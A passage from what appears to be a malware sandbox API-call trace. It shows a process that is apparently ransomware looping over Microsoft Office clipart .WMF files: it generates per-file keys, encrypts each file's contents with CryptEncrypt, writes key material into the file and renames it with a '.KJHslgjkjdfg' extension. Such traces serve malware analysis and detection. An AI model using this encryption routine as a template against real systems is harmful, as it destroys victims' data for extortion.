lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.084] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.084] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.084] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4b8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4b8, lpOverlapped=0x0) returned 1 [0174.084] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0, dwBufLen=0x4c0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4c0) returned 1 [0174.084] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.084] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4c0, lpOverlapped=0x0) returned 1 [0174.085] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.085] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x594, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.085] SetEndOfFile (hFile=0x114) returned 1 [0174.087] GetProcessHeap () returned 0x2a0000 [0174.087] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.087] GetProcessHeap () returned 0x2a0000 [0174.087] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.kjhslgjkjdfg")) returned 1 [0174.088] CloseHandle (hObject=0x114) returned 1 [0174.088] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x674, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152704.WMF", cAlternateFileName="")) returned 1 [0174.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.089] GetProcessHeap () returned 0x2a0000 [0174.089] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.089] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.089] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.089] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.091] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.091] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.091] GetProcessHeap () returned 0x2a0000 [0174.091] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.091] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.091] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.091] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.091] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.091] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.091] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.091] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.091] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.091] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.091] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x674, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x674, lpOverlapped=0x0) returned 1 [0174.092] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x680, dwBufLen=0x680 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x680) returned 1 [0174.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.092] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x680, lpOverlapped=0x0) returned 1 [0174.092] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.092] SetEndOfFile (hFile=0x114) returned 1 [0174.094] GetProcessHeap () returned 0x2a0000 [0174.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.094] GetProcessHeap () returned 0x2a0000 [0174.094] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.094] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.kjhslgjkjdfg")) returned 1 [0174.096] CloseHandle (hObject=0x114) returned 1 [0174.096] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x132c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152708.WMF", cAlternateFileName="")) returned 1 [0174.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.097] GetProcessHeap () returned 0x2a0000 [0174.097] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.097] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.097] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.097] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.099] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.099] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.099] GetProcessHeap () returned 0x2a0000 [0174.099] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.099] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.099] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.099] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.099] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.099] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.099] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.099] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.100] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.100] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x132c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x132c, lpOverlapped=0x0) returned 1 [0174.100] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1330, dwBufLen=0x1330 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1330) returned 1 [0174.100] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.100] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1330, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1330, lpOverlapped=0x0) returned 1 [0174.101] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.101] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.101] SetEndOfFile (hFile=0x114) returned 1 [0174.103] GetProcessHeap () returned 0x2a0000 [0174.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.103] GetProcessHeap () returned 0x2a0000 [0174.103] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.kjhslgjkjdfg")) returned 1 [0174.104] CloseHandle (hObject=0x114) returned 1 [0174.104] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152716.WMF", cAlternateFileName="")) returned 1 [0174.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.105] GetProcessHeap () returned 0x2a0000 [0174.105] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.105] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.105] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.105] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0174.107] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.107] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.107] GetProcessHeap () returned 0x2a0000 [0174.107] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.107] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.107] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.107] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.107] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.108] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.108] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.108] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.108] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.108] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x11e4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x11e4, lpOverlapped=0x0) returned 1 [0174.109] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11f0, dwBufLen=0x11f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x11f0) returned 1 [0174.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x11f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x11f0, lpOverlapped=0x0) returned 1 [0174.109] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.109] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x12c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.109] SetEndOfFile (hFile=0x114) returned 1 [0174.111] GetProcessHeap () returned 0x2a0000 [0174.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0174.111] GetProcessHeap () returned 0x2a0000 [0174.111] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0174.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.kjhslgjkjdfg")) returned 1 [0174.112] CloseHandle (hObject=0x114) returned 1 [0174.112] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f73730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152722.WMF", cAlternateFileName="")) returned 1 [0174.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0174.114] GetProcessHeap () returned 0x2a0000 [0174.114] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0174.114] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0174.114] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0174.114] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.116] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.116] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.116] GetProcessHeap () returned 0x2a0000 [0174.116] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0174.116] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0174.116] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0174.116] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0174.116] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0174.117] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0174.117] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0174.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0174.117] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0174.117] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0174.117] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0174.117] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.117] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b6c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b6c, lpOverlapped=0x0) returned 1 [0174.118] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, 